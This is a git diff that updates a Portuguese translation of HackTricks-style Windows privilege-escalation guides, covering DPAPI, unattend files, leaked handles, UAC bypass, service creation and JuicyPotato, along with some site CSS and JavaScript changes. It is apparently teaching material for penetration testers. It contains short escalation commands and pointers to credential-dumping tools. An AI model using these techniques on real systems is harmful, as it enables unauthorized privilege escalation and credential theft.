As chaves RSA do usuário criptografadas, usando DPAPI, são armazenadas no diretório `%APPDATA%\Microsoft\Protect\{SID}`, onde `{SID}` representa o [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) do usuário. **A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo**, geralmente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a este diretório é restrito, impedindo a listagem de seu conteúdo via o comando `dir` no CMD, embora possa ser listado através do PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -914,7 +914,7 @@ Se o serviço `ssh-agent` não estiver em execução e você quiser que ele inic
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
> [!NOTE]
|
||||
> Parece que essa técnica não é mais válida. Tentei criar algumas chaves ssh, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação de chave assimétrica.
|
||||
> Parece que esta técnica não é mais válida. Tentei criar algumas chaves ssh, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação de chave assimétrica.
|
||||
|
||||
### Arquivos não atendidos
|
||||
```
|
||||
@ -933,7 +933,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n
|
||||
```
|
||||
Você também pode procurar por esses arquivos usando **metasploit**: _post/windows/gather/enum_unattend_
|
||||
|
||||
Conteúdo de exemplo:
|
||||
Exemplo de conteúdo:
|
||||
```xml
|
||||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||||
<AutoLogon>
|
||||
@ -1220,14 +1220,14 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## Leaked Handlers
|
||||
|
||||
Imagine que **um processo em execução como SYSTEM abre um novo processo** (`OpenProcess()`) com **acesso total**. O mesmo processo **também cria um novo processo** (`CreateProcess()`) **com privilégios baixos, mas herdando todos os manipuladores abertos do processo principal**.\
|
||||
Imagine que **um processo executando como SYSTEM abre um novo processo** (`OpenProcess()`) com **acesso total**. O mesmo processo **também cria um novo processo** (`CreateProcess()`) **com privilégios baixos, mas herdando todos os manipuladores abertos do processo principal**.\
|
||||
Então, se você tiver **acesso total ao processo de baixo privilégio**, você pode pegar o **manipulador aberto para o processo privilegiado criado** com `OpenProcess()` e **injetar um shellcode**.\
|
||||
[Leia este exemplo para mais informações sobre **como detectar e explorar essa vulnerabilidade**.](leaked-handle-exploitation.md)\
|
||||
[Leia este **outro post para uma explicação mais completa sobre como testar e abusar de mais manipuladores abertos de processos e threads herdados com diferentes níveis de permissões (não apenas acesso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
## Named Pipe Client Impersonation
|
||||
|
||||
Segmentos de memória compartilhada, referidos como **pipes**, permitem comunicação entre processos e transferência de dados.
|
||||
Segmentos de memória compartilhada, referidos como **pipes**, permitem a comunicação entre processos e a transferência de dados.
|
||||
|
||||
O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, mesmo através de diferentes redes. Isso se assemelha a uma arquitetura cliente/servidor, com papéis definidos como **servidor de pipe nomeado** e **cliente de pipe nomeado**.
|
||||
|
||||
@ -1303,13 +1303,13 @@ https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## De Nível de Integridade Médio de Administrador para Alto / Bypass de UAC
|
||||
|
||||
Leia isso para **aprender sobre Níveis de Integridade**:
|
||||
Leia isto para **aprender sobre Níveis de Integridade**:
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Então **leia isso para aprender sobre UAC e bypasses de UAC:**
|
||||
Então **leia isto para aprender sobre UAC e bypasses de UAC:**
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
@ -1319,7 +1319,7 @@ Então **leia isso para aprender sobre UAC e bypasses de UAC:**
|
||||
|
||||
### **Novo serviço**
|
||||
|
||||
Se você já estiver executando em um processo de Alto Nível de Integridade, o **passo para SYSTEM** pode ser fácil apenas **criando e executando um novo serviço**:
|
||||
Se você já estiver executando um processo de Alto Nível de Integridade, o **passo para SYSTEM** pode ser fácil apenas **criando e executando um novo serviço**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1347,12 +1347,14 @@ Se você quiser ler um exemplo de [**como ir de alta integridade para System usa
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Se você conseguir **sequestrar uma dll** sendo **carregada** por um **processo** em execução como **SYSTEM**, você poderá executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é **muito mais fácil de alcançar a partir de um processo de alta integridade**, pois terá **permissões de escrita** nas pastas usadas para carregar dlls.\
|
||||
Se você conseguir **sequestrar uma dll** sendo **carregada** por um **processo** em execução como **SYSTEM**, você poderá executar código arbitrário com essas permissões. Portanto, o Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é **muito mais fácil de alcançar a partir de um processo de alta integridade**, pois terá **permissões de gravação** nas pastas usadas para carregar dlls.\
|
||||
**Você pode** [**saber mais sobre Dll hijacking aqui**](dll-hijacking/)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||||
|
||||
@ -1375,7 +1377,7 @@ Se você conseguir **sequestrar uma dll** sendo **carregada** por um **processo*
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrai informações de sessão salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough em local.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrai credenciais do Gerenciador de Credenciais. Detectado.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Pulveriza senhas coletadas pelo domínio**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é um spoofador e ferramenta man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é uma ferramenta de spoofing e man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica de privesc do Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades conhecidas de privesc (DEPRECATED para Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Verificações locais **(Necessita de direitos de Admin)**
|
||||
|
||||
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato não funciona** no Windows Server 2019 e no Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) podem ser usados para **aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`**. _**Verifique:**_
|
||||
> [!WARNING] > **JuicyPotato não funciona** no Windows Server 2019 e no Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) podem ser usados para **aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`**. _**Verifique:**_
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
@ -11,15 +10,15 @@ roguepotato-and-printspoofer.md
|
||||
|
||||
## Juicy Potato (abusando dos privilégios dourados) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Uma versão adoçada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, com um pouco de suco, ou seja, **outro ferramenta de Escalação de Privilégios Local, de Contas de Serviço do Windows para NT AUTHORITY\SYSTEM**_
|
||||
_Uma versão adoçada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, com um pouco de suco, ou seja, **outro ferramenta de Escalação de Privilégios Locais, de Contas de Serviço do Windows para NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Você pode baixar juicypotato em [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
#### Você pode baixar juicypotato de [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Resumo <a href="#summary" id="summary"></a>
|
||||
|
||||
[**Do Readme do juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e suas [variantes](https://github.com/decoder-it/lonelypotato) aproveitam a cadeia de escalonamento de privilégios baseada no [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [serviço](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) tendo o ouvinte MiTM em `127.0.0.1:6666` e quando você tem privilégios `SeImpersonate` ou `SeAssignPrimaryToken`. Durante uma revisão de build do Windows, encontramos uma configuração onde `BITS` foi intencionalmente desativado e a porta `6666` estava ocupada.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e suas [variantes](https://github.com/decoder-it/lonelypotato) aproveitam a cadeia de escalonamento de privilégios baseada no [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [serviço](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) tendo o ouvinte MiTM em `127.0.0.1:6666` e quando você tem privilégios `SeImpersonate` ou `SeAssignPrimaryToken`. Durante uma revisão de build do Windows, encontramos uma configuração onde `BITS` foi intencionalmente desativado e a porta `6666` foi ocupada.
|
||||
|
||||
Decidimos transformar em arma [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Diga olá para Juicy Potato**.
|
||||
|
||||
@ -38,7 +37,7 @@ Após alguns testes, obtivemos e testamos uma lista extensa de [CLSID’s intere
|
||||
JuicyPotato permite que você:
|
||||
|
||||
- **CLSID de destino** _escolha qualquer CLSID que você quiser._ [_Aqui_](http://ohpe.it/juicy-potato/CLSID/) _você pode encontrar a lista organizada por SO._
|
||||
- **Porta de escuta COM** _defina a porta de escuta COM que você prefere (em vez da 6666 codificada)_
|
||||
- **Porta de escuta COM** _defina a porta de escuta COM que preferir (em vez do 6666 codificado na marshalling)_
|
||||
- **Endereço IP de escuta COM** _vincule o servidor a qualquer IP_
|
||||
- **Modo de criação de processo** _dependendo dos privilégios do usuário impersonado, você pode escolher entre:_
|
||||
- `CreateProcessWithToken` (precisa de `SeImpersonate`)
|
||||
@ -69,7 +68,7 @@ Optional args:
|
||||
```
|
||||
### Considerações finais <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**Do juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
[**Do Readme do juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
Se o usuário tiver privilégios `SeImpersonate` ou `SeAssignPrimaryToken`, então você é **SYSTEM**.
|
||||
|
||||
@ -108,7 +107,9 @@ c:\Users\Public>
|
||||
|
||||
Muitas vezes, o CLSID padrão que o JuicyPotato usa **não funciona** e a exploração falha. Normalmente, são necessárias várias tentativas para encontrar um **CLSID funcional**. Para obter uma lista de CLSIDs para tentar em um sistema operacional específico, você deve visitar esta página:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
|
||||
### **Verificando CLSIDs**
|
||||
|
||||
|
||||
@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
|
||||
}
|
||||
|
||||
/* Languages Menu Popup */
|
||||
|
||||
@media only screen and (max-width:799px) {
|
||||
#menubar-languages-toggle span {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
#menubar-languages-toggle {
|
||||
position: relative;
|
||||
}
|
||||
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
|
||||
cursor: pointer;
|
||||
color: var(--fg);
|
||||
}
|
||||
@media only screen and (max-width:799px) {
|
||||
.menu-title {
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
}
|
||||
|
||||
.menu-bar,
|
||||
.menu-bar:visited,
|
||||
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
|
||||
color: var(--sidebar-fg);
|
||||
}
|
||||
}
|
||||
@media only screen and (min-width:1440px) {
|
||||
#sidebar-toggle{
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width:549px) {
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
|
||||
border-top: 1px solid var(--table-border-color);
|
||||
margin-top: 1rem;
|
||||
align-content: center;
|
||||
z-index: 101;
|
||||
z-index: 106;
|
||||
}
|
||||
.footer .theme-wrapper {
|
||||
max-width: var(--container-max-width);
|
||||
|
||||
@ -343,8 +343,8 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: #2f2f2f;
|
||||
--table-header-bg: hsl(226, 23%, 31%);
|
||||
--table-alternate-bg: hsl(226, 23%, 14%);
|
||||
--table-header-bg: #2f2f2f;
|
||||
--table-alternate-bg: #222222;
|
||||
|
||||
--searchbar-border-color: #2f2f2f;
|
||||
--searchbar-bg: hsl(0, 0%, 11%);
|
||||
@ -429,7 +429,7 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: hsl(0, 0%, 95%);
|
||||
--table-header-bg: hsl(0, 0%, 80%);
|
||||
--table-header-bg: hsl(0, 0%, 95%);
|
||||
--table-alternate-bg: hsl(0, 0%, 97%);
|
||||
|
||||
--searchbar-border-color: #aaa;
|
||||
|
||||
@ -176,10 +176,12 @@
|
||||
|
||||
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
|
||||
<i class="fa fa-globe"></i>
|
||||
<span class="menu-bar-link">Translations</span>
|
||||
|
||||
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
<button id="en" role="menuitem" class="menu-bar-link">English</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
|
||||
<button id="de" role="menuitem" class="menu-bar-link">German</button>
|
||||
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
|
||||
@ -190,11 +192,10 @@
|
||||
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
|
||||
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
|
||||
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
|
||||
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
|
||||
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@ -72,7 +72,7 @@
|
||||
.sidetoc-wrapper {
|
||||
position: fixed;
|
||||
width: 250px;
|
||||
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
|
||||
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
|
||||
overflow: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
||||
@ -1,68 +1,76 @@
|
||||
let scrollTimeout;
|
||||
let scrollTimeout
|
||||
|
||||
const listenActive = () => {
|
||||
const elems = document.querySelector(".pagetoc").children;
|
||||
[...elems].forEach(el => {
|
||||
const elems = document.querySelector(".pagetoc").children
|
||||
;[...elems].forEach((el) => {
|
||||
el.addEventListener("click", (event) => {
|
||||
clearTimeout(scrollTimeout);
|
||||
[...elems].forEach(el => el.classList.remove("active"));
|
||||
el.classList.add("active");
|
||||
clearTimeout(scrollTimeout)
|
||||
;[...elems].forEach((el) => el.classList.remove("active"))
|
||||
el.classList.add("active")
|
||||
// Prevent scroll updates for a short period
|
||||
scrollTimeout = setTimeout(() => {
|
||||
scrollTimeout = null;
|
||||
}, 100); // Adjust timing as needed
|
||||
});
|
||||
});
|
||||
};
|
||||
scrollTimeout = null
|
||||
}, 100) // Adjust timing as needed
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
|
||||
const getPagetoc = () =>
|
||||
document.querySelector(".pagetoc") || autoCreatePagetoc()
|
||||
|
||||
const autoCreatePagetoc = () => {
|
||||
const main = document.querySelector("#content > main");
|
||||
const main = document.querySelector("#content > main")
|
||||
const content = Object.assign(document.createElement("div"), {
|
||||
className: "content-wrap"
|
||||
});
|
||||
content.append(...main.childNodes);
|
||||
main.prepend(content);
|
||||
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
|
||||
return document.querySelector(".pagetoc");
|
||||
};
|
||||
className: "content-wrap",
|
||||
})
|
||||
content.append(...main.childNodes)
|
||||
main.prepend(content)
|
||||
main.insertAdjacentHTML(
|
||||
"afterbegin",
|
||||
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
|
||||
)
|
||||
return document.querySelector(".pagetoc")
|
||||
}
|
||||
const updateFunction = () => {
|
||||
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
const scrolledY = window.scrollY;
|
||||
let lastHeader = null;
|
||||
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
const scrolledY = window.scrollY
|
||||
let lastHeader = null
|
||||
|
||||
// Find the last header that is above the current scroll position
|
||||
for (let i = headers.length - 1; i >= 0; i--) {
|
||||
if (scrolledY >= headers[i].offsetTop) {
|
||||
lastHeader = headers[i];
|
||||
break;
|
||||
lastHeader = headers[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children];
|
||||
pagetocLinks.forEach(link => link.classList.remove("active"));
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children]
|
||||
pagetocLinks.forEach((link) => link.classList.remove("active"))
|
||||
|
||||
if (lastHeader) {
|
||||
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
|
||||
if (activeLink) activeLink.classList.add("active");
|
||||
const activeLink = pagetocLinks.find(
|
||||
(link) => lastHeader.href === link.href
|
||||
)
|
||||
if (activeLink) activeLink.classList.add("active")
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
window.addEventListener('load', () => {
|
||||
const pagetoc = getPagetoc();
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
headers.forEach(header => {
|
||||
window.addEventListener("load", () => {
|
||||
const pagetoc = getPagetoc()
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
headers.forEach((header) => {
|
||||
const link = Object.assign(document.createElement("a"), {
|
||||
textContent: header.text,
|
||||
href: header.href,
|
||||
className: `pagetoc-${header.parentElement.tagName}`
|
||||
});
|
||||
pagetoc.appendChild(link);
|
||||
});
|
||||
updateFunction();
|
||||
listenActive();
|
||||
window.addEventListener("scroll", updateFunction);
|
||||
});
|
||||
|
||||
className: `pagetoc-${header.parentElement.tagName}`,
|
||||
})
|
||||
if (header.parentElement.querySelectorAll("a").length === 2) {
|
||||
link.textContent = header.parentElement.querySelectorAll("a")[1].text
|
||||
}
|
||||
pagetoc.appendChild(link)
|
||||
})
|
||||
updateFunction()
|
||||
listenActive()
|
||||
window.addEventListener("scroll", updateFunction)
|
||||
})
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user